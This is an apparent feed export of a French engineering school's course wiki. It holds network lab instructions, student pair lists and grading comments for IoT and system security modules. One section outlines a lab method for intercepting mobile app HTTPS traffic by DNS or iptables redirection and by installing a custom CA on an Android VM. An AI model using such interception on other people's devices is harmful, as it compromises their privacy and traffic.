==== Configuration ====&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up &lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=10426</id>
		<title>SE5 IdO sécurité des objets 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=10426"/>
		<updated>2025-09-17T14:51:02Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour le module de sécurité des objets */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Infrastructure réseau pour 2025/2026 =&lt;br /&gt;
&lt;br /&gt;
== Serveur virtuel ==&lt;br /&gt;
&lt;br /&gt;
Créez un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; par binôme. Préfixez le nom du serveur par &amp;lt;code&amp;gt;SE5-&amp;lt;/code&amp;gt;. Le serveur doit avoir une unique interface dans le commutateur virtuel &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Prenez une adresse IPv4 à partir de &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et utilisez, comme routeur, l'adresse IPv4 &amp;lt;code&amp;gt;172.26.145.251&amp;lt;/code&amp;gt;. Le routeur à cette adresse est configuré pour faire passer vos machines par un dispositif de type mascarade.&lt;br /&gt;
&lt;br /&gt;
Par la suite ajoutez à votre serveur une interface dans le VLAN &amp;lt;code&amp;gt;400+X&amp;lt;/code&amp;gt; numérotée dans le sous-réseau IPv4 &amp;lt;code&amp;gt;172.16.X.0/24&amp;lt;/code&amp;gt;. Bien entendu &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt; est différent d'un binôme à l'autre (et &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt;&amp;gt;1).&lt;br /&gt;
&lt;br /&gt;
== Point d'accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
Installez un ou plusieurs point d'accès WiFi Cisco sur un port de commutateur en mode trunk. Tentez d'associer une adresse d'administration à ce point d'accès dans le VLAN 50 (adresse d'administration en &amp;lt;code&amp;gt;172.26.145.Y&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&lt;br /&gt;
Créez un SSID associé à votre VLAN et configuré pour une identification par WPA2-PSK.&lt;br /&gt;
&lt;br /&gt;
De plus implantez les services suivant sur votre serveur virtuel :&lt;br /&gt;
* configuration par DHCP pour les clients WiFi, utilisez les adresses d'octet de poids faible &amp;lt;code&amp;gt;100&amp;lt;/code&amp;gt; à &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; du réseau IPv4 de votre VLAN privé. Donner l'adresse de votre machine mandataire comme routeur par défaut et comme serveur DNS ;&lt;br /&gt;
* Implanter un serveur DNS minimal sur votre serveur virtuel (DNS transitaire ou DNS forwarder en patoi) ;&lt;br /&gt;
* Implanter une mascarade sur votre serveur virtuel entre votre VLAN privé et le routeur du réseau des salles de projets.&lt;br /&gt;
&lt;br /&gt;
Vous pouvez tester la visibilité de votre SSID, l'identification WiFi, le serveur DHCP et enfin l'accès à Internet en utilisant votre téléphone portable ou la carte WiFi des zabeth.&lt;br /&gt;
&lt;br /&gt;
= Interception de flux =&lt;br /&gt;
&lt;br /&gt;
L'étude d'applications mobiles peut passer par la redirection de flux TCP pour de la rétro-ingénierie. Deux voies sont possibles, une redirection par DNS ou une redirection de flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez une zone primaire à votre serveur DNS avec le nom Internet que vous souhaitez rediriger vers votre machine locale.&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez des règles &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;nftables&amp;lt;/code&amp;gt; pour rediriger un flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
En régle générale, c'est un flux HTTPS que vous souhaitez rediriger, vous avez donc besoin d'un serveur Web local en mode sécurisé (HTTPS).&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
La redirection de flux HTTPS est problématique à cause de la protection par certificat X509. Pour contourner cette protection, une solution consiste à ajouter des autorités de certification sur l'appareil où l'application mobile est installée. Pour ce faire il est probable qu'il faille un contrôle important sur l'OS de l'appareil. Comme vous pouvez rechigner à rooter votre mobile, une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; semble adaptée. &lt;br /&gt;
&lt;br /&gt;
Il vous est proposé de tester de créer une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; soit par émulation d'un ARM en utilisant &amp;lt;code&amp;gt;QEMU&amp;lt;/code&amp;gt; sur un PC ordinaire soit en utilisant &amp;lt;code&amp;gt;KVM&amp;lt;/code&amp;gt; sur une Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour le module de sécurité des objets =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! Nom du serveur virtuel !! N° du VLAN&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b1 | Cahier b1]] || Victorien Détrez || SE5-serveur || n°&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b2 | Cahier b2]] || Kaoutar El Bachiri || SE5-serveur || n°&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b3 | Cahier b3]] || Heriniaina Raissa Andrianirintsoa || SE5-serveur || n°&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b4 | Cahier b4]] || Prénom Nom &amp;amp; Prénom Nom || SE5-serveur || n°&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b5 | Cahier b5]] || Prénom Nom &amp;amp; Prénom Nom || SE5-serveur || n°&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5688</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5688"/>
		<updated>2024-03-27T10:31:00Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des Vlan des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || Installation des disques&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || Serveur de temps&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas NAVE &amp;amp; Thibault DUYCK || NAS09 || Premiers rôles Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || Câblage anciennes stations &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || Configuration serveur Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || Configuration serveur NFS&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || Installation d'une mascarade&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Configuration interface réseau (commutateur virtuel)&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Configuration du DNS&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane KADER-ISSACK &amp;amp; Marion NORMAND || NAS10 || Configuration interface réseau (&amp;lt;code&amp;gt;ether0&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin CHAUVELIERE &amp;amp; Taha NEHARI || NAS11 || Recopie Archive TP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 06/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (6 février) !! Commentaire sur la tâche supplémentaire (6 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || OK mais la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, dois-je vous imputer cela ?&lt;br /&gt;
|-&lt;br /&gt;
| b2 &lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas, câble non fonctionnel || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| mode BIOS, ne démarre pas, plaque latérale mal remise || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| mode BIOS, ne démarre pas || gestion OK des commutateurs, connexion très partielle (au moins 5 stations non connectées)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || paquetage &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; installé sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;, aucune trace de l'inventaire, pas de répertoire &amp;lt;code&amp;gt;/etc/ansible&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| mode UEFI, plante sur GRUB || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| Même pas étiquetté, ancien Devuan (installé ReX), configuration réseau sur la mauvaise interface, réparé avec les instructions envoyées par courriel || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI (fait ReX) || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| installée par ReX, clef ed25519 absente || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| installée par TV, ssh installé par ReX, clef ed25519 absente || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| installée par TV, ssh installé par TV, clef ed25519 absente || rôles &amp;lt;code&amp;gt;filesys_role&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;package_role&amp;lt;/code&amp;gt; OK à la lecture (bien factorisés), à tester.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, NVRAM EFI &amp;quot;pleine&amp;quot;, clef ed25519 absente || inventaire ansible correct, mauvaise syntaxe pour le playbook, test non effectué (ou collègues non prévenus des absences de clef ed25519)&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| installé par ReX, réinitialisation usine, clef USB initiale défaillante, clef ed25519 absente || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| installée par ReX, clef USB, initiale défaillante, clef ed25519 absente || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| installée par TV, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;ifacenetwork_role&amp;lt;/code&amp;gt;, il manque le modèle (template), rôle vide en fait&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || bonne organisation du rôle, dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant, utilisez l'action template pour gérer le template &lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| installée par ReX, modification IPv4 par ReX, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt;, mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir sur &amp;lt;code&amp;gt;zabeth21&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| installée par ReX, clef ed25519 absente || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 11/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), clef ed25519 modifiée par ReX (12/2) || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, à tester.&lt;br /&gt;
interfaces réseau renommées, clef ed25519 modifiée par ReX &lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX, pourquoi avoir enlevé le flanc que j'avais bien remis ? || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), réseau VLAN 50 sur la mauvaise interface, câble à changer de position (fait ReX 12/2), clef ed25519 modifiée (ReX 12/2), si le ventilateur ne fonctionne pas changez-le, vous allez tuer le processeur || inventaire ansible correct, mauvaise syntaxe pour le playbook, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| interfaces réseau renommées, machine relancée par ReX, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface  || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, réseau VLAN 50 sur la mauvaise interface || bonne organisation du rôle (presque, les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant (regardez le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;), utilisez l'action template pour gérer le modèle&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| interfaces réseau renommées, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt; (les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX  || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (13 février) !! Commentaire sur la tâche supplémentaire (13 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| contactable par ansible || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD changé, installé (ReX 12/02)&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| toujours pas contactable par ansible || rôle ntp absent&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| contactable par ansible || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, corrections mineures, fonctionnent.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| contactable par ansible, problème du flanc non fermé || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| contactable par ansible, gare au ventilateur du processeur || inventaire ansible correct, playbook plausible, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| toujours pas contactable par ansible || rôle NFS toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| contactable par ansible || rôle mascarade plausible, quelques corrections en particulier sur le réseau IPv4 cible mais pas mal du tout&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| toujours pas contactable par ansible || rôle commutateur virtuel toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| contactable par ansible, interfaces mal renommées, câble sur le mauvais port || rôle DNS, bon départ, livraison tardive mais rôle fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| toujours pas contactable par ansible || rôle &amp;quot;interface VLAN50&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| contactable par ansible || rôle &amp;quot;copie archive&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Avancement du TP migration ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Etat le mardi 13/02 !! Synthèse état 13/02 &lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || ESXi1 installé et configuré (y compris accès ssh, finalisé par BECQUET) || ESXi1 075%, ESXi2 000%, archive 000%, NAS 000%, autre 000% &lt;br /&gt;
|-&lt;br /&gt;
| b2 || Louis WIJSMAN &amp;amp; Thomas LEFRANC || NAS02 || Clef ESXi bootable || ESXi1 000%, ESXi2 000%, archive 000%, NAS 000%, autre 000% &lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas NAVE &amp;amp; Thibault DUYCK || NAS09 || Archive copiée sur NAS (lancée), ESXi1 et ESXi2 installés et configurés (hors ssh) || ESXi1 080%, ESXi2 080%, archive 080%, NAS 000%, autre 000% &lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || ESXi1 installé et configuré (y compris accès ssh et options de boot) || ESXi1 100%, ESXi2 000%, archive 000%, NAS 000%, autre 050% &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || ESXi1 installé et configuré (hors ssh), configuration NTP et NFS du NAS || ESXi1 080%, ESXi2 000%, archive 000%, NAS 033%, autre 000% &lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || ESXi1 et ESXi2 installés et configurés (hors ssh) || ESXi1 080%, ESXi2 080%, archive 000%, NAS 000%, autre 000% &lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || zabeth28 déplacée, ESXi1 et ESXi2 installés et configurés (hors ssh) || ESXi1 080%, ESXi2 080%, archive 000%, NAS 000%, autre 020%&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Clef ESXi bootable || ESXi1 000%, ESXi2 000%, archive 000%, NAS 000%, autre 000% &lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Clef ESXi bootable, ajout NIC zabeth27 || ESXi1 000%, ESXi2 000%, archive 000%, NAS 000%, autre 020%&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane KADER-ISSACK &amp;amp; Marion NORMAND || NAS10 || Archive copiée sur NAS, ESXi1 installé et configuré (hors ssh) || ESXi1 080%, ESXi2 000%, archive 100%, NAS 000%, autre 000% &lt;br /&gt;
|-&lt;br /&gt;
| b11 || Martin CHAUVELIERE &amp;amp; Taha NEHARI || NAS11 || ESXi1 installé (boot Devuan prioritaire), câblage ESXi, configuration réseau NAS VLAN50 || ESXi1 050%, ESXi2 000%, archive 000%, NAS 020%, autre 020%&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Etat le jeudi 15/02 !! Synthèse du 15/02&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || TP terminé (validation ReX) || NAS 100%, ESXi 100%, infra. 100%, exploit. 100%&lt;br /&gt;
|-&lt;br /&gt;
| b2 || Louis WIJSMAN &amp;amp; Thomas LEFRANC || NAS02 || avancement non indiqué, ESXi configurés (ssh OK) avec une @IPv4 du réseau stockage (à corriger),&amp;lt;br /&amp;gt; NAS avec configuration réseau et DNS (&amp;lt;code&amp;gt;resolv.conf&amp;lt;/code&amp;gt; non modifié), pas de NTP, NFS ou mascarade || NAS 050%, ESXi 080%, infra. 000%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
